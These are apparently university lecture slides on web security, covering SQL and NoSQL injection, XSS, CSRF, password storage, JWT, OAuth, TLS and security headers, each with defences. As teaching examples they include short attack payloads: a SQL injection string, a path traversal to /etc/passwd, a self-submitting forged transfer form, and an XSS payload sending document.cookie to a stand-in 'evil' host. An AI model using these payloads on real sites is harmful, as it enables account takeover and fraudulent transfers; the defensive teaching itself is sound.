Internet Engineering

11

Web Security

Introduction · Injection · Cross-Site Scripting · Cross-Site Request Forgery · Authentication & Authorization · Transport & Headers

Fall 2026 · Amirkabir University of Technology
@1995parham

Why Security?

  • A web application is a program that runs arbitrary input from strangers
  • Everything the client sends is under the attacker's control
    • Query parameters, headers, cookies, request body
    • Even the fields your own form generated: the browser is not a trusted environment
  • The same-origin policy and CORS protect the browser, not your server

Origin and Site

The URL https://api.bank.example:443/account split into scheme, host, registrable domain and port. An origin is scheme, host and port, used by the same-origin policy and CORS; a site is scheme and registrable domain, used by SameSite cookies. Compared with https://bank.example: /transfer is same origin and same site; http is neither; port 8443 and api.bank.example are cross-origin but same site; evil.example is neither; alice.github.io and bob.github.io are neither, because github.io is on the Public Suffix List

The Golden Rule

Never mix data with code.

  • Almost every vulnerability in this lecture is one bug: data supplied by a user is parsed as instructions by some interpreter
    • SQL injection: data becomes part of a SQL query
    • XSS: data becomes part of an HTML document
    • Command injection: data becomes part of a shell command
  • The fix is always the same shape: keep them separate, do not try to sanitize your way out

SQL Injection

Consider a login handler that builds its query by concatenation:


query := "SELECT id FROM users WHERE name = '" + name + "'"
    

What happens when name is ' OR '1'='1?

The Query the Database Sees


SELECT id FROM users WHERE name = '' OR '1'='1'
    
  • The quote supplied by the user ended the string and the rest became SQL
  • The database is behaving correctly. It cannot know which characters came from you and which came from the attacker

Prepared Statements


row := db.QueryRow("SELECT id FROM users WHERE name = $1", name)
    

Not quoting: the value travels in a separate protocol message, so it is never parsed as SQL.

Top: concatenation sends one string, SELECT id FROM users WHERE name = '' OR '1'='1', which the parser reads as an empty string, OR, and an always-true comparison: 2 rows, every user. Bottom: a prepared statement sends a Parse message with the query and $1, and a Bind message with the whole value as one parameter: 0 rows

Not Only SQL

  • Command injection: passing input to a shell (sh -c). Pass an argument vector instead of a string
  • NoSQL injection: a JSON body that deserializes into a query object, e.g. {"password": {"$ne": null}}
  • Path traversal: a filename containing ../../etc/passwd

Cross-Site Scripting (XSS)

The same bug, but the interpreter is the browser and the injected code is JavaScript.


// a comment box that renders whatever was posted
element.innerHTML = "<p>" + comment + "</p>";
    

A comment of <img src=x onerror="fetch('//evil/'+document.cookie)"> now runs in every visitor's session.

Stored XSS, Step by Step

1, the attacker posts a comment containing an img tag with src=x and an onerror that fetches evil with document.cookie. 2, the site stores it as-is. 3, every visitor gets the page with its comments. 4, the browser sets innerHTML, creates the img, the load fails and onerror runs as site.example. 5, the visitor's non-HttpOnly cookies are sent to evil. A script tag inserted with innerHTML never runs; textContent shows the same text and runs nothing

Why It Matters

  • The injected script runs with the full privileges of your origin
    • It can read the DOM, cookies (unless HttpOnly), and local storage
    • It can issue requests as the victim, and the same-origin policy will happily allow them: the script is the origin
  • CORS does not help here. The call is coming from inside the house

Flavours

  • Stored: the payload is saved on the server (a comment, a profile name) and served to everyone
  • Reflected: the payload travels in the request (a search query echoed back into the page)
  • DOM-based: the server is never involved; client-side code copies location.hash into the page

Defence: Encode on Output

  • Encode data for the context it lands in: HTML body, attribute, URL, and JavaScript all differ
  • Use the framework's escaping and do not defeat it: innerHTML and dangerouslySetInnerHTML opt out of it
  • textContent is safe by construction, it cannot create elements

element.textContent = comment; // never parsed as html
    

Defence in Depth

  • Content-Security-Policy: tell the browser which sources may execute, so an injected inline script is refused
  • HttpOnly cookies: unreadable from JavaScript, so a stolen DOM does not hand over the session
  • These reduce the damage. They do not remove the bug

Content-Security-Policy: default-src 'self'
    

Cross-Site Request Forgery (CSRF)

  • The browser attaches your cookies to a request no matter who caused it
  • So a page on evil.example can cause a request to bank.example, and it will be authenticated

<form action="https://bank.example/transfer" method="POST">
  <input name="to" value="attacker" />
  <input name="amount" value="1000000" />
</form>
<script>document.forms[0].submit()</script>
    

The Forged Request

1, the victim logged in to bank.example earlier and holds a session cookie. 2, they open a page on evil.example with a hidden self-submitting form. 3, the browser sends POST /transfer to bank.example with Origin https://evil.example and Sec-Fetch-Site cross-site; the cookie goes along unless it is SameSite=Lax or Strict. 4, the 200 OK response is not readable by evil.example, but the transfer has already happened. With SameSite=None, or with no SameSite in Firefox and Safari, the transfer runs as the victim; with SameSite=Lax or Strict no cookie is sent and the bank sees an anonymous request. Chrome and Edge treat a missing SameSite as Lax, but still send it on a POST within two minutes of it being set

Read Versus Write

  • The attacker cannot read the response: the same-origin policy still holds
  • But they do not need to. The side effect already happened on the server
  • This is why a GET must never change state, a rule from the HTTP lecture that turns out to be a security rule too

Defence

  • SameSite cookies: tell the browser not to attach the cookie to cross-site requests
    • Set it explicitly: only Chrome and Edge default to Lax, and not for a POST in the cookie's first 2 minutes; Firefox and Safari do not
    • Strict for anything sensitive
  • CSRF tokens: a per-session random value in the form, which the attacker's page cannot read
  • Bearer tokens in an Authorization header are not attached automatically, so they are not vulnerable to this

Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
    

Authentication vs Authorization

  • Authentication: who are you?
  • Authorization: what are you allowed to do?
  • Most real breaches are failures of the second one: the user is who they claim, and asks for someone else's object

Storing Passwords

Store a slow, salted hash: argon2id, scrypt, or bcrypt. Never the password, and never a fast hash such as SHA-256.

Sign up: the password and 16 random salt bytes go into argon2id with 19 MiB, 2 passes and 1 lane, and one string is stored: algorithm, version, cost, salt and hash. The same password hashed twice gives two different strings. Log in: read the cost and salt from the stored string, run argon2id on the typed password, compare in constant time. On one CPU core, SHA-256 manages over 10 million guesses per second and argon2id about 60

Sessions and Tokens

  • Session cookie: the server keeps the state, the cookie is only a lookup key, and revoking is trivial
  • JWT: the claims travel inside a signed token, so the server keeps nothing
    • Signed, not encrypted: anyone can read the payload
    • Hard to revoke before expiry, which is why access tokens are short-lived and paired with a refresh token

header.payload.signature   # three base64url parts, separated by dots
    

Inside a JWT

A real HS256 token split into its three parts. The header decodes to alg HS256, typ JWT, with no key needed. The payload decodes to sub 42, name Alice, exp 1800000000, readable by anyone. The signature is HMAC-SHA256 of header dot payload with a secret only the server knows; change one character and it no longer matches

OAuth 2.0

  • A delegation protocol: let an application act on a user's behalf without giving it the password
  • Four roles
    • Resource owner: the user
    • Client: the application asking for access
    • Authorization server: issues tokens
    • Resource server: the API holding the data
  • "Sign in with GitHub" is this, plus an identity layer on top

Authorization Code Flow

1, the client redirects the browser to the authorization server with response_type=code, client_id, state, redirect_uri, scope and a PKCE code_challenge. 2, the user logs in and consents there. 3, the authorization server redirects back to the client with a short-lived code and the state, which the client checks. 4, over the back channel the client posts the code and the code_verifier to /token and receives an access token and a refresh token. 5, the client calls the API with Authorization: Bearer

OpenID Connect

  • OAuth 2.0 answers "may this app call the API?", not "who is this user?"
  • OIDC is a thin layer on top that adds an id_token: a JWT describing the user
  • Using a raw access token as proof of identity is a classic mistake: it was minted for an API, not for you

Transport Security

  • HTTPS gives confidentiality, integrity, and authentication of the server
  • Without it, every proxy on the path can read and modify the traffic
  • Strict-Transport-Security tells the browser never to try plain HTTP again

Strict-Transport-Security: max-age=31536000; includeSubDomains
    

The TLS 1.3 Handshake

The client sends ClientHello with key_share and signature_algorithms. The server answers with ServerHello and key_share, and both derive handshake keys. Then, encrypted: EncryptedExtensions, Certificate, CertificateVerify, Finished, and possibly application data. The client sends its encrypted Finished, then application data such as GET /. One round trip; in TLS 1.2 the certificate went in clear and a full handshake took two

Useful Response Headers

  • Content-Security-Policy: which sources may load and execute
  • X-Content-Type-Options: nosniff: stop the browser guessing a type you did not declare
  • X-Frame-Options / frame-ancestors: refuse to be framed, so your UI cannot be overlaid and clicked through
  • Referrer-Policy: stop leaking full URLs to third parties

Clickjacking

An invisible iframe of bank.example with a Delete account button sits exactly over the Claim it button on a prize page from evil.example, so the user's click lands on the bank. Defence: Content-Security-Policy frame-ancestors 'none', or X-Frame-Options DENY, so the browser will not render the page in another site's frame

Rules of Thumb

  • Validate input, but encode on output
  • Never build code by concatenating strings
  • Check authorization on the server, for every request, on the object being touched
  • Keep secrets out of the repository and out of the front-end
  • Do not invent your own cryptography, or your own session tokens
  • Assume you will get one wrong, and make the blast radius small

References 📚

Fork me on GitHub